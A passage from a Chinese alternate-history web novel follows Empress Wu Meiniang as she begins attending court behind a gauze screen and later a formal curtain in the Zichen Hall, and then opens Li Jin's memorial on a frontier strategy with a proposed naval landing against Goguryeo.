这种高效,是建立在武媚娘背后庞大的、隐秘的智力支持网络之上的。“北门学士”们已完全融入了角色,他们不仅为皇后查阅典籍、提供历史借鉴、草拟文书,更开始系统性地帮助皇后分析各类奏报数据、梳理政策脉络、预判可能遇到的问题。而李瑾,则通过更隐秘、也更直接的渠道,为武媚娘提供着来自前朝宰辅视角的洞察、对各方势力动向的评估,以及对某些敏感或专业性极强事务(如边镇防务、财政度支、工程营造)的权威意见。武媚娘如同一个精密运转的中枢,将来自皇帝、宰辅、北门学士乃至铜匦等多渠道的信息与智慧融汇提炼,形成决策建议,再呈报皇帝最终定夺。这套运作机制,虽未明定章程,却在皇帝病弱的客观需求与武媚娘卓越的政治才能共同作用下,自然而然地建立并稳固下来。
二月二,龙抬头,皇帝“病愈”后首次恢复常朝。太极殿内,文武百官肃立,许多人的目光都带着复杂的意味,悄悄窥探御座之上的皇帝,以及……御座之侧,那面新设的、薄如蝉翼的 素 纱 屏 风。 屏风后,设有一席一座,那是皇后的位置。皇帝以“朕体初愈,犹畏风寒,皇后体恤,于侧侍奉”为由,特许皇后在朝会时于屏风后旁听。理由依旧冠冕堂皇,无可指摘。然而,所有人都明白,这面屏风的意义,绝非“侍奉”那么简单。它象征着皇后正式、公开地出现在帝国最高议政场所,尽管是“旁听”。
朝会伊始,皇帝的气色虽仍显清减,但目光已恢复了几分往日的锐利。他依例处理了几项紧急边报和祥瑞奏贺。当议题转入日常政务,尤其是涉及“建言十二事”后续条款(如“益禀入”、“得进陟”)的细化讨论,以及新近几起地方官员考课争议时,令人瞩目的一幕出现了。
皇帝并未直接让主管官员奏对,而是微微侧首,对着屏风方向,以寻常语气问道:“皇后,此事你近日整理奏章,可有所见?且说与诸卿听听。”
屏风后,武媚娘平静柔和的声音清晰传出,不疾不徐,将相关奏章的要点、各方争议的焦点、以及本朝相关制度沿革,条分缕析,娓娓道来。她的叙述,不仅事实清晰,更往往能点出问题背后的利益纠葛与制度缺陷。最后,她会提出两到三种处理方案,并简要分析各自的利弊,但绝不说“宜用何策”,只是道:“此乃臣妾愚见,仅供参考。最终如何裁决,还请陛下圣断,诸公明议。”
她的发言,姿态极低,内容却极有分量。许多官员,尤其是那些身处事务之中、了解内情的,闻言皆暗自点头,觉得皇后所言切中肯綮。皇帝则往往顺势询问相关衙门主官或宰辅意见,而皇后的分析,无疑为讨论奠定了清晰的基础,甚至引导了讨论的方向。许多时候,最终的决策,与皇后所提的某一方案大同小异。
第一次,第二次……朝臣们逐渐习惯了在讨论重要政务时,皇帝会征询屏风后的意见。而皇后的回应,也从未让人失望。她似乎对六部事务、地方民情、典章制度皆了然于胸,其见识之明、断事之公、言辞之达,令许多原本对“女主听政”心怀芥蒂的官员,也不得不收起轻视之心,开始认真对待她的每一句话。
更微妙的变化,发生在奏章批示与命令传达的环节。以往,皇帝朱批后,由中书省草诏,门下省审核,尚书省执行。如今,许多经过皇后摘要、附有处理意见(往往已得皇帝口头或眼神认可)的奏章,其朱批内容,渐渐出现了一种新的范式:
“ 皇 后 所 奏 甚 是, 着 依 议 行。**”
“ 览 皇 后 摘 要, 事 理 明 白, 可 照 此 办 理。”
“ 此 事 已 与 皇 后 议 过, 按 皇 后 所 拟 条 陈 处 置。”
甚至,在一些不那么紧要、或明显属于皇后“分管”范围(如劝农桑后续督查、铜匦运行情况汇总、后宫用度审计等)的奏章上,直接出现了皇后的亲笔批示,字迹清秀而有力,内容简明扼要,旁边则有皇帝简单的朱笔画“可”或加盖小印。这些奏章,同样能畅通无阻地通过中书门下,形成正式敕令颁行。
起初,这只是个别现象。但到了三月,春风渐暖时,朝臣们已然心照不宣: 凡 涉 及 重 大 或 敏 感 人 事、 军 事、 宗 室 等 事 务, 最 终 决 断 必 出 自 皇 帝 亲 笔 朱 批 或 明 确 口 谕; 但 大 量 的 日 常 行 政、 财 政、 民 政、 司 法 及 官 员 考 课 等 具 体 事 务, 皇 后 的 意 见 已 具 有 实 质 性 的 决 定 意 义, 皇 帝 多 是 认 可 与 背 书。** 许多发往地方的诏令敕书,虽以皇帝名义发出,但其核心内容与决策过程,早已深深烙印了皇后的意志。
长孙无忌、褚遂良等人对此局面忧心如焚,却无力改变。皇帝对皇后的依赖与信任肉眼可见,皇后的理政能力与成效也有目共睹,他们若强行反对,不仅难以找到有力的理由(皇后始终未僭越,一切决策至少在表面上都经皇帝确认),反而可能触怒病中敏感、依赖皇后甚深的皇帝,并显得自己心胸狭隘、不顾大局。他们只能在具体政务上,更加小心地与皇后(通过皇帝)周旋,试图守住关键领域的决策权,并利用自己门下、中书的影响力,对某些皇后明显倾向“新政”或“实学”的提议,在程序上进行拖延或修改。
然而,大势已渐成。三月中,一次关于江淮漕运今年增修计划的朝议,彻底彰显了这种新格局。户部与工部就预算、工期、征发民夫数量争执不下,吵嚷半日未有结果。皇帝听得疲惫,以手扶额。这时,屏风后的武媚娘轻声开口,她并未直接评判两部是非,而是命内侍当场悬挂起一幅巨大的 江 淮 水 系 与 漕 运 路 线 精 细 图( 此 图 乃 李 瑾 主 持 “ 格 物 所” 近 年 勘 测 绘 制 而 成, 精 度 远 超 以 往), 然后依据图上标注的河道深浅、堤坝状况、沿途州县仓廪位置及往年漕运数据,条分缕析,指出何处工程最急,何处可缓,需征发多少民夫、耗用多少物料方为合理,并提出了一个分批分段施工、以工代赈、并与地方水利工程结合的综合性方案。她甚至考虑了春耕在即,需错开农忙高峰。一番话下来,数据详实,逻辑严密,考虑周全,户部、工部尚书听得哑口无言,殿中一片寂静。
皇帝精神一振,抚掌道:“皇后此言, 洞 悉 秋 毫, 老 成 谋 国! 便 依 皇 后 所 议 去 办! 着 户 部、 工 部, 即 刻 会 同 有 司, 按 此 拟 定 详 细 条 陈 奏 报!**”
“臣等遵旨!” 两部尚书及一众相关官员躬身领命,心服口服。这一次,再无人觉得皇后只是“转述”或“建议”,她那基于扎实情报与深刻分析的决断力,已彰显无疑。
朝会散后,消息不胫而走。朝野上下,无论是心向皇后的,中立的,还是心存疑虑的,都不得不承认一个事实: 自 此 以 后, 朝 廷 大 事, 无 论 是 在 紫 宸 殿 暖 阁 内, 还 是 在 太 极 殿 朝 堂 上, 实 质 上 已 是 “ 皆 决 于 帝 后 二 人 之 手”。 皇帝掌握着最终的权威和名分,以及最核心的人事、军事决策权;而皇后则凭借其卓越的才能、皇帝的绝对信任,以及一套高效隐秘的辅政体系,深度掌控了帝国的日常行政运行,并在许多重大事务上拥有至关重要的建议权和事实上的裁决权。帝后二人,一为体,一为用;一为名,一为实;一垂拱而治,一日理万机。这种前所未有的权力分享与协作模式,虽无“二圣”之名,却已有“二圣”之实。人们私下里开始用“ 二 圣” 这 个 词 来 暗 指 这 种 新 的 权 力 格 局, 虽 然 在 公 开 场 合 尚 无 人 敢 明 言。 立政殿中,武媚娘搁下朱笔,揉了揉微感酸涩的手腕。案头,刚刚批阅完的一摞奏章被内侍整齐收走,将化作一道道影响帝国四方州县的敕令。窗外,春意已深,庭中桃李芬芳。她走到窗边,深深吸了一口带着花香的空气。历时近一年,从“建言十二事”的初试啼声,到“劝农桑薄赋役”的落地生根,到“广言路杜谗言”的艰难推行,再到“北门学士”的组建、《臣轨》的编纂,直至借皇帝病重之机,一步步从幕后走到屏风之后,实质性地掌控了庞大的行政机器……这条路,她走得惊心动魄,却也步步为营。如今,“二圣”格局隐然成形,她已不再是那个需要处处小心、仰人鼻息的“新后”,而是真正成为了这个帝国不可或缺的、握有实权的“ 共 治 者”。 然而,她心中并无太多志得意满。抬头望去,紫宸殿的飞檐在春光中沉默矗立。那里,有她病弱的丈夫,也是她权力最根本的源泉与最脆弱的依赖。前朝,有以长孙无忌为首、依然树大根深的守旧势力,有无数双或明或暗审视、嫉妒、警惕的眼睛。身边,是初步成型的智囊团与执行团队,但羽翼未丰。远方,是辽阔而复杂的帝国,有无数的难题等待解决。而那位与她命运紧密交织、才智卓绝的盟友李瑾,如今在“二圣”新格局下,又将如何自处,如何与她继续这危险而精彩的共舞?一切,都还只是开始。“二圣临朝”的帷幕已然拉开,但台上台下,幕前幕后,真正的风云变幻,或许才刚刚启幕。她知道,自己不能有丝毫松懈。这来之不易的局面,需要更稳固的根基,更锐利的眼光,更缜密的谋划,以及……更强大的力量。她转身,目光落在案头那部已基本定稿、以金线装订的《臣轨》上,眼中闪过一丝深邃的光芒。或许,是时候将这部凝聚了她与李瑾心血、旨在规范臣子行为的“宝典”,正式推向台前了。让它成为“二圣”时代,统御百官、教化天下的第一道鲜明旗帜。春风拂过立政殿的窗棂,带着隐约的暖意,也带着一丝山雨欲来前的躁动。属于武媚娘和李治的“二圣”时代,在这贞观二十六年的春天,终于从隐形的默契,走向了半公开的现实。而未来,这只清声初啼便已震惊四座的雏凤,又将在这前所未有的广阔天空中,翱翔至怎样的高度?无人知晓。但至少,从此刻起,她已牢牢握住了属于自己的权柄,并准备好了,去迎接那注定波澜壮阔、也注定荆棘密布的明天。
第91章 紫宸殿垂帘
贞观二十六年的初夏,仿佛一夜之间,长安城便从料峭春寒跌入了熏风扑面、绿荫匝地的季节。然而,比这季节更替更为鲜明、也更让朝野屏息凝神、翘首以待的,是那道在三省六部、诸寺监乃至市井坊间悄然流传、却始终未得正式明文的“风声”—— 皇 后 将 正 式 垂 帘 紫 宸 殿, 与 陛 下 共 同 临 朝 听 政。 自二月龙抬头首次设屏风旁听,到此后数次大朝会上皇后在帘后清晰决断、条分缕析,朝臣们心中那层窗户纸早已被事实捅破。“二圣”共治,虽无其名,早有其实。如今,这“实”似乎终于要迎来一个符合其分量的“名”了。
这“风声”的源头,无人能确切指认,却又似乎无处不在。或许是紫宸殿当值内侍有意无意的流露,或许是立政殿与政事堂之间日益频繁的文书往来暗示,又或许是皇帝近来在数次要务决策后,那句越发自然的“ 此 事 朕 与 皇 后 已 有 定 议” 所带来的联想。长孙无忌、褚遂良等元老重臣焦虑日增,数次欲寻机向皇帝进言,陈说“女主临朝,非国家之福”的古训,然每每觑见皇帝那虽清减却隐含不容置喙之意的神色,以及皇后处理政务那无可指摘的利落与成效,到嘴边的话又不得不艰难咽下。他们只能更加紧密地联络,暗中积蓄力量,等待一个或许并不存在的、能扭转乾坤的时机。
而推动这“风声”最终化为现实的,却是一件看似与朝政无关的“家事”。四月末,皇长子、太子李忠突发急症,高热惊厥,太医署全力救治方得转危为安。此事对皇帝李治刺激甚大。他本就因自身风疾而忧惧生死,太子乃国本,此番病险,更让他深感“ 天 命 无 常, 嗣 君 稚 弱, 朕 若 有 不 测, 这 万 里 江 山 该 当 如 何”** 的锥心之痛与强烈的不安全感。在太子病榻前守了整整两日后,皇帝召见了武媚娘与几位心腹重臣。
“太子此番,实让朕心惊。” 皇帝斜倚在紫宸殿暖阁的软榻上,面色苍白,声音带着疲惫后的沙哑,“朕这身子,你们是知道的。太子虽已立,然年幼体弱,更需历练。 朕 在 一 日, 自 当 竭 力 维 持。 然 天 有 不 测 风 云, 人 有 旦 夕 祸 福。 朕 不 得 不 为 身 后 计。**”
他目光缓缓扫过垂手恭立的于志宁、李勣、李瑾,最后落在身侧侍立的武媚娘身上,眼中情绪复杂难明:“皇后自去岁以来,佐朕理政,夙夜匪懈,于国事民情,洞若观火,处置公务,公允明断。太子乃皇后嫡子(注:此指名义上,李忠已记在武后名下), 若 朕 有 万 一, 太 子 冲 龄, 非 有 贤 德 仁 明 之 母 后 与 忠 贞 干 练 之 辅 臣 同 心 协 力, 恐 难 镇 抚 天 下。 故 朕 思 之 再 三, 决 意 自 即 日 起, 凡 大 朝 会 及 重 要 政 务 裁 决, 皇 后 可 于 紫 宸 殿 御 座 之 侧, 垂 帘 同 听, 与 朕 共 决 国 是。 诸 卿 以 为 如 何?”
皇帝以“为身后计”、“辅佐幼主”为由,将皇后临朝听政的必要性,拔高到了“稳固国本”、“延续社稷”的至高层面。这个理由,比单纯的“朕体不适需人分劳”更加沉重,也更加难以辩驳。尤其是提到了“太子乃皇后嫡子”,将武媚娘未来的政治角色与储君绑定,使得她的参政具备了某种“监护”与“辅政”的合法性。
暖阁内一片沉寂。于志宁、李勣对视一眼,皆从对方眼中看到了一丝了然与凝重。他们早已料到会有这一天,只是没想到来得如此正式,理由如此“充分”。于志宁沉吟片刻,率先躬身道:“陛下为 宗 庙 社 稷 万 年 计, 深 谋 远 虑, 老 臣 感 佩。 皇 后 殿 下 贤 明 仁 德, 理 政 有 方, 若 能 常 伴 圣 躬, 共 决 大 事, 于 国 于 民, 实 为 大 幸。 然 …… 垂 帘 之 制, 关 乎 朝 廷 礼 法 纲 常, 不 可 不 慎。 具 体 仪 制、 范 围, 尚 需 礼 部、 太 常 寺 详 加 议 定, 以 明 君 臣 之 分, 正 天 下 之 听。”
他没有直接反对,而是将问题引向了“礼制”细节,试图在程序上加以规范限制,保留缓冲余地。
李勣也缓缓开口:“陛下圣虑,老臣附议。皇后殿下才德,足可佐政。只是,” 他话锋微转,目光平静,“ 军 国 重 事, 尤 其 是 征 伐 调 兵、 将 帅 任 免 等, 牵 一 发 而 动 全 身, 关 乎 国 家 安 危。 此 等 事 务, 是 否 仍 依 旧 制, 由 陛 下 圣 裁 独 断, 或 经 政 事 堂 廷 议 后 奏 请 圣 裁, 似 更 为 妥 当?”
李勣看似附和,实则划出了一条清晰的界限—— 军 权。 这是对皇后权力扩张最核心、也是最敏感的制约。
皇帝微微颔首:“二位爱卿所虑甚是。垂帘之制,具体仪注,着礼部、太常寺、中书门下详议奏报。至于军国重事……” 他顿了顿,看向武媚娘。
武媚娘立刻会意,起身敛衽一礼,声音沉稳而清晰:“陛下,诸位相公。妾身蒙陛下不弃,得以参闻政务,已是逾分之幸。 垂 帘 听 政, 乃 为 陛 下 分 忧, 辅 佐 圣 治, 绝 非 为 僭 越 揽 权。 李 司 空 所 言 军 国 重 事, 自 当 由 陛 下 乾 纲 独 断, 或 经 政 事 堂 诸 公 共 议 后 圣 裁。 妾 身 在 帘 内, 只 是 学 习、 旁 听, 若 陛 下 垂 询, 妾 身 自 当 竭 尽 愚 钝, 提 供 刍 荛 之 见, 以 供 陛 下 与 诸 公 参 酌。 一 切 决 断, 自 当 以 陛 下 圣 意 为 准。”
她再次明确了自己的“辅助”定位,并主动将最核心的军权排除在自己的直接决策范围之外,姿态放得极低,言辞无可挑剔。这既安抚了李勣等军方重臣,也给了皇帝十足的面子。
皇帝满意地点点头,看向一直沉默的李瑾:“李卿,你意下如何?”
李瑾出列,躬身道:“陛下,皇后殿下贤德明理,才智超群,自辅政以来,朝野称善,政务修明。陛下为 国 本 计, 为 长 远 计, 命 皇 后 殿 下 垂 帘 听 政, 臣 以 为, 此 乃 稳 固 朝 局、 保 障 政 令 通 达 之 善 举。 于 公 子、 李 司 空 所 虑 礼 制、 军 权 等 事, 皇 后 殿 下 已 有 明 训, 臣 深 以 为 然。 当 务 之 急, 是 尽 快 议 定 垂 帘 仪 制, 使 君 臣 有 序, 内 外 有 别, 如 此 方 可 使 此 善 政 长 久 施 行, 利 国 利 民。 另, 臣 以 为, 既 有 此 新 制, 不 若 借 此 机 会, 将 皇 后 殿 下 主 持 编 纂 的《 臣 轨》 一 并 颁 行 天 下, 以 为 百 官 行 为 之 规 范, 彰 显 朝 廷 重 视 吏 治、 敦 崇 教 化 之 意。**”
李瑾不仅明确支持,还将话题引向了具体的制度建设(垂帘仪制)和意识形态建设(颁布《臣轨》),显示出务实和前瞻的眼光。他支持垂帘,但强调“有序”、“有别”,实际上是为这项新制度套上规范的笼头,防止其失控。而提出颁布《臣轨》,则是在为新格局提供思想纲领和法理依据,进一步巩固皇后的权威。
皇帝眼中闪过一丝赞许:“李卿所言甚合朕心。便依此议。垂帘仪制及《臣轨》颁行事宜,着政事堂会同礼部、太常寺、弘文馆速办。五月初一,朕要于紫宸殿,与皇后一同,接受百官朝贺!”
圣意已决,再无转圜余地。
接下来的数日,政事堂、礼部、太常寺等衙门紧锣密鼓,在皇帝、皇后(通过李瑾和北门学士)的示意下,迅速拟定了“垂帘听政”的详细仪制。包括帘幕的材质(特制素纱,薄而挺括,内外皆隐约可视)、位置(御座右侧稍后,略低于御座)、尺寸;皇后服饰(正式朝会服,但略简于祭天礼服);朝臣奏对礼仪(仍面向皇帝,但涉及皇后垂询时需侧身应答);文书流转程序(涉及垂帘所议事务,需同时呈报皇帝、皇后)等。仪制既明确了皇后“同听”的地位,又严格区分了“帝”、“后”尊卑,并将军国机密、宗室事务等明确列为“非垂帘常议”范围,基本满足了于志宁、李勣等人的关切,也堵住了可能的非议之口。
五月初一,天朗气清。 紫 宸 殿 内, 气 象 一 新。 御座依旧巍然居中,然而在御座 右 侧 稍 后 方, 新 设 一 架 精 美 的 紫 檀 木 缕 雕 凤 纹 座 屏, 屏 前 悬 挂 着 一 幅 宽 大 的 月 白 色 素 纱 垂 帘。 帘 幕 质 地 特 殊, 外 间 看 去, 隐 约 可 见 帘 后 人 影 轮 廓 与 衣 饰 色 彩, 却 难 辨 细 节 神 情; 而 从 帘 内 向 外 观 望, 则 清 晰 如 常。 御座与垂帘之间,设有一张小几,摆放笔墨纸砚及部分紧要文书。
辰时正,钟鼓齐鸣。皇帝李治身着赭黄常朝袍服,在內侍搀扶下登上御座。虽然精神仍显倦怠,但经过数日静养,气色已好了许多,目光扫过丹墀下肃立的文武百官,依旧带着帝王的威仪。几乎在皇帝落座的同时, 身 着 深 青 色 祎 衣、 头 戴 九 龙 四 凤 冠( 略 作 简 化) 的 皇 后 武 媚 娘, 在 秋 月 等 宫 女 的 搀 扶 下, 自 御 座 侧 后 方 的 便 门 悄 然 入 内, 于 垂 帘 之 后 的 凤 座 上 端 然 坐 定。 她的脊背挺直,双手交叠置于膝上,隔着那层薄纱,静静望向殿中那一片黑压压的臣工。
“ 陛 下 万 岁, 万 岁, 万 万 岁! 皇 后 殿 下 千 岁!” 山呼之声,在司礼官的高唱中响起,比往日更多了几分复杂难言的情绪。许多官员,尤其是第一次亲眼见证此景的中下层官员,心中震撼无以复加。 那 一 纱 之 隔, 不 仅 是 空 间 的 分 隔, 更 是 大 唐 开 国 以 来 前 所 未 有 的 政 治 格 局 的 实 体 化 宣 告!
朝会依制进行。最初的几项议程,如祥瑞奏报、外藩表章、例行赏罚等,皇帝处理得简洁明快。当议题转入今岁河北、河南两道春汛后的赈济与堤防修缮事宜时,皇帝·习惯性地微微侧身,向垂帘方向问道:“皇后,此事前日户部、工部所呈条陈,你已阅过,可有见解?”
垂帘后,武媚娘平静柔和的声音传出,不大,却清晰地传入每个人耳中:“陛下,臣妾已细阅两部所奏。今岁春汛,波及七州二十一县,冲毁民房田亩无算,幸赖地方官处置及时,未酿成大灾。然赈济、抚恤、重修堤防,所费甚巨。户部所拟钱粮,工部所估工时民夫,臣妾以为,大体得当。然有一处,或可斟酌。”
她顿了顿,继续道:“ 工 部 所 请 征 发 民 夫 五 万, 集 中 于 夏 秋 之 交 施 工。 然 此 时 正 值 夏 收 夏 种 与 秋 粮 收 获 前 的 关 键 时 节, 若 大 规 模 征 发 民 夫, 恐 严 重 影 响 今 年 粮 产, 与 朝 廷 ‘ 劝 农 桑’ 之 旨 相 悖, 亦 恐 引 发 民 怨。 不 若 将 工 程 分 为 数 期, 利 用 农 闲 时 节( 如 冬 春) 逐 步 推 进, 每 期 征 发 民 夫 适 量, 并 严 格 按 照 前 番 ‘ 薄 赋 徭’ 诏 令, 给 予 口 粮 工 钱。 如 此, 既 不 误 农 时, 又 可 保 工 程 质 量, 所 费 或 稍 增, 然 于 长 远、 于 民 心, 利 大 于 弊。 此 外, 可 责 成 御 史 台、 按 察 使 对 赈 济 钱 粮 发 放 与 工 程 款 项 使 用, 进 行 全 程 监 察, 防 止 贪 墨 中 饱。”
她不仅指出了问题,还提出了具体可行的替代方案,并引入了监督机制,考虑周全,深谙民情。
皇帝听罢,颔首道:“皇后所虑周详,老成谋国。便依皇后所议,着户部、工部修改条陈,政事堂复核后施行。御史台加强监察,不得有误!”
“臣等遵旨!” 相关官员躬身领命,心服口服。
紧接着,又议了几件官员任免、刑狱复核之事。每逢皇帝垂询,帘后总能给出清晰的分析与建议。她的意见,往往能直指核心,兼顾法理人情,且效率极高。朝会的气氛,在最初的震惊与适应后,竟渐渐变得顺畅起来。许多官员发现,这种“帝后共决”的模式,虽然前所未有,但决策似乎更加慎重周全,减少了因皇帝一时好恶或个人精力不济导致的疏漏。
长孙无忌、褚遂良等元老,在整个朝会过程中,面色沉静,极少发言。他们冷眼旁观,心中滋味复杂。他们看到,皇后并未逾越议定的范围,对军权、宗室等事绝口不提。然而,她在那层薄纱之后所展现出的、对庞大帝国日常政务那种举重若轻的掌控力,以及皇帝对她几乎无条件的信任与依赖,都让他们感到一阵阵深沉的寒意。他们知道,这“垂帘”一旦落下,再想掀起,恐怕就难了。朝堂之上,自此正式进入了“ 二 圣 临 朝” 的 时 代, 而 他 们 这 些 曾 经 的 顾 命 元 老, 的 确 确 地 被 隔 在 了 那 层 象 征 着 新 权 力 核 心 的 纱 帘 之 外。** 李瑾站在文官班列的前排,目光平静地注视着御座与垂帘。他能感受到身后无数道或明或暗的目光,其中不乏审视、猜测,甚至嫉妒。他知道,从今日起,他与武媚娘的同盟,将在这“二圣临朝”的公开舞台上,面临全新的考验与机遇。他必须更加谨慎,也更加巧妙地,在维护皇帝权威、支持皇后理政、推行自己抱负、以及平衡朝中各方势力之间,走好每一步。
朝会结束时,皇帝宣布,将皇后主持编纂的《臣轨》正式颁行天下,凡九品以上官员,皆需熟读谨守,并作为日后考课升黜的重要参考。这无疑是为“二圣临朝”的新格局,披上了一件“重教化、明臣道”的合法外衣,也为武媚娘的政治理念,提供了一把衡量百官的新标尺。
钟磬声再次响起,百官山呼跪送。皇帝起身,在内侍搀扶下缓步离去。垂帘之后,武媚娘也缓缓站起,在宫女簇拥下,自侧门悄然而退。那幅月白色的素纱垂帘,依旧静静地悬挂在那里,在透过殿宇高窗的阳光下,泛着柔和而朦胧的光泽。
它隔开了内外,却也象征着一个新时代的开启。紫宸殿垂帘,武后听政,自此成为贞观朝后期乃至未来数十年间,大唐帝国政治生活中一道独特而持久的风景。而帘前帘后,殿上殿下,围绕着这崭新权力格局的合纵连横、明争暗斗,才刚刚拉开序幕。
第92章 瑾奏平边策
贞观二十六年的盛夏,长安城笼罩在一片令人昏昏欲睡的燠热之中。然而,皇城之内,尤其是紫宸殿与两仪殿之间流转的政事与人心,却比这天气更加灼热、也更加暗流汹涌。“二圣临朝”的新格局,在最初月余的试探、适应与表面平静后,其深层的影响与博弈,正如同地壳下涌动的岩浆,开始寻找着释放与喷薄的裂隙。皇后武媚娘端坐垂帘之后,以其日益精熟的政务处理能力和皇帝毫无保留的信赖,将帝国的日常行政机器运转得越发顺畅高效,其个人权威与对朝政的影响力,也随之水涨船高。然而,无论是皇帝、皇后,还是朝堂上嗅觉敏锐的重臣们都清楚, 内 政 的 稳 固 与 高 效, 固 然 是 国 家 根 本, 但 真 正 能 够 为 一 个 朝 代、 一 位 帝 王 甚 至 一 位 摄 政 者 烙 下 不 朽 印 记 的, 往 往 是 对 外 的 赫 赫 武 功 与 开 疆 拓 土。 尤其对于新近确立“二圣”名分、仍需进一步巩固无上权威的帝后而言,一次辉煌的对外胜利,其政治意义无可估量。
皇帝李治的身体,在盛夏的精心将养下,已基本恢复日常理事的能力,只是精力终究大不如前,难以承受长期、高强度的军国重务操劳。他内心深处,未尝不存着效仿父皇太宗皇帝,建不世之功以彪炳史册的雄心。然而,去岁那场几乎夺去他性命的风疾,如同悬顶之剑,时刻提醒着他身体的极限。他需要有人能够替他运筹帷幄,将这份潜在的雄心,转化为切实可行、且胜算颇大的战略规划。
皇后武媚娘同样在思虑此事。垂帘听政,虽已确立其政治地位,但在“女主”身份仍备受传统士大夫暗中非议的当下,若能辅佐皇帝取得一场重大的对外军事胜利,无疑将极大地堵住悠悠众口,并将她的政治声望推向一个全新的、更加稳固的高度。然而,她对具体军务,尤其是大规模远征的统帅、后勤、战术等细节,终究不如对民政那般熟稔。她需要一双能够洞察全局、精通军略、且绝对忠诚可靠的“眼睛”和“手臂”,来为她、也为皇帝,绘制这幅宏伟的武功蓝图。
这个“眼睛”和“手臂”的人选,几乎不言自明。 同 中 书 门 下 三 品 李 瑾, 不 仅 是 “ 实 学” 新 政 的 旗 手, 更 是 在 “ 督 行 实 务” 过 程 中, 深 入 接 触 过 边 镇 防 务、 军 械 制 造、 粮 秣 转 运 等 军 事 相 关 事 务 的 能 臣。 他 的 思 维 方 式 务 实 而 富 于 远 见, 常 有 出 人 意 表 却 又 切 中 要 害 的 见 解。 更 重 要 的 是, 他 是 帝 后 二 人 最 核 心 的 政 治 盟 友 之 一。 由他提出一份系统性的对外战略,再合适不过。
李瑾自然也洞悉了这微妙的政治气候与帝后的期待。事实上,关于未来帝国的对外战略,尤其是如何解决太宗皇帝晚年耿耿于怀、数次亲征却未能竟全功的 高 句 丽 问 题, 以 及 如 何 应 对 西 北 吐 蕃 的 崛 起 与 北 方 草 原 民 族 的 潜 在 威 胁, 他心中早已有了一套超越时代的、系统性的思考。这并非一时兴起的狂想,而是基于他“格物所”多年来对四方地理、物产、军情的持续收集分析,对“实学”成果(尤其是航海、军械、工程)军事化应用的推演,以及对历史经验教训的深刻总结。他一直在等待一个合适的时机,将这份思考化为正式的“ 平 边 策” 呈 于 御 前。** 如今,“二圣临朝”格局初定,帝后皆有建功立业以固权威的内在需求,而国内经过数年“建言十二事”的推行与休养生息,府库渐丰,民心稍安,正是将战略构想付诸朝议、乃至未来付诸实施的最佳时机。
七月初一,大朝。紫宸殿内,虽然撤去了前几月因皇帝畏风而设的厚重帷幔,但御座之侧那架紫檀木座屏与月白素纱垂帘,已成为殿中固定的陈设,无声地宣告着“二圣”的存在。朝会议罢几项紧要的漕运、盐政事务后,李瑾出列,手持一卷装帧精美的奏疏,朗声道:“陛下,皇后殿下,臣有 本 奏, 事 关 国 家 边 防 大 计, 四 夷 长 久 之 安。 臣 不 揣 冒 昧, 谨 以 平 生 所 学 所 思, 草 拟《 平 边 策》 一 疏, 恭 呈 御 览, 伏 乞 圣 裁。**”
“平边策”三字一出,殿中气氛为之一凝。许多官员,尤其是武将和熟悉边事的文臣,精神都是一振。自贞观后期以来,对外大规模用兵已相对减少,朝廷重心多在内部治理与巩固既有疆土。如今这位以“实学”、“新政”闻名的新贵宰相,竟然率先提出了系统的“平边”方略,如何不引人瞩目?长孙无忌、褚遂良等人也微微蹙眉,目光锐利地看向李瑾。
“李卿有何良策,但说无妨。” 御座上,皇帝李治坐直了身体,眼中流露出浓厚的兴趣。垂帘之后,武媚娘的身影似乎也微微前倾。
“谢陛下,皇后殿下。” 李瑾展开奏疏,但并未完全照本宣科,而是以清晰有力的声音,开始陈述其核心思想:“臣闻, 国 家 虽 安, 忘 战 必 危。 太 宗 文 皇 帝 在 日, 扫 灭 群 雄, 四 夷 宾 服, 开 亘 古 未 有 之 盛 世。 然 树 欲 静 而 风 不 止。 东 有 高 句 丽, 占 我 汉 四 郡 旧 壤, 恃 险 负 隅, 屡 抗 王 师, 实 为 东 方 心 腹 之 患; 西 有 吐 蕃, 崛 起 高 原, 其 主 松 赞 干 布 虽 逝, 然 其 国 力 日 增, 屡 侵 吐 谷 浑, 窥 我 河 湟, 乃 西 陲 肘 腋 之 忧; 北 有 薛 延 陀 余 部 及 新 兴 之 回 纥 等 部, 时 叛 时 服, 如 野 草 燎 原, 需 常 加 戒 备。 此 三 者, 形 势 不 同, 故 当 其 策 亦 当 有 别。”
他首先点明了当前帝国周边最主要的三个战略方向与潜在对手,定性清晰。
“然, 用 兵 之 道, 在 于 知 己 知 彼, 在 于 因 势 利 导, 更 在 于 以 己 之 长, 攻 彼 之 短。” 李瑾继续道,声音提高了几分,“我大唐之 长, 在 于 国 力 雄 厚, 人 口 繁 庶, 文 化 昌 明, 更 在 于 陛 下 圣 明, 朝 政 清 明, 新 政 卓 有 成 效, 府 库 渐 盈, 此 为 用 兵 之 本。 而 我 大 唐 之 新 长, 尤 在 于 ‘ 实 学’ 勃 兴, 格 物 之 技 日 新 月 异, 可 转 化 为 强 军 利 器 与 胜 战 之 道!”
他巧妙地将“新政成效”、“实学成果”与对外用兵的潜力挂钩,为后续的具体策略提供了理论和物质基础。
“故臣之《平边策》,其要有三,曰 东 定、 西 抚、 北 防, 而 贯 穿 其 中 者, 乃 一 个 ‘ 新 ’ 字。**” 李瑾开始进入核心部分。
“其一, 东 定 高 句 丽。 高 句 丽 倚 山 临 海, 城 坚 池 深, 气 候 苦 寒, 太 宗 时 数 征 未 能 尽 全 功, 非 战 之 罪, 实 因 其 地 理 与 后 勤 之 难。 故 再 征 高 句 丽, 不 可 再 循 旧 辙, 必 须 出 奇 制 胜, 多 路 并 进, 长 期 消 耗。 臣 之 策 有 四:**”
“一, 大 力 发 展 海 军, 建 强 大 舟 师。 利 用 我 朝 改 良 之 海 船, 组 建 专 司 渡 海 作 战 与 运 输 之 水 师。 未 来 征 高 句 丽, 可 以 水 师 载 精 兵, 自 登 州、 莱 州 出 海, 避 开 辽 西 陆 路 险 阻 与 高 句 丽 重 兵 防 线, 直 接 在 高 句 丽 腹 地 沿 海( 如 大 同 江 口、 汉 江 口) 登 陆, 开 辟 第 二 战 场, 与 陆 路 大 军 形 成 东 西 夹 击 之 势。 水 师 更 可 负 责 粮 秣 军 械 的 海 上 补 给, 大 大 减 轻 陆 路 漫 长 后 勤 线 的 压 力。” 他提出了利用新兴海军进行跨海登陆作战的大胆构想,这在当时无疑是极具创新性的战略思路。
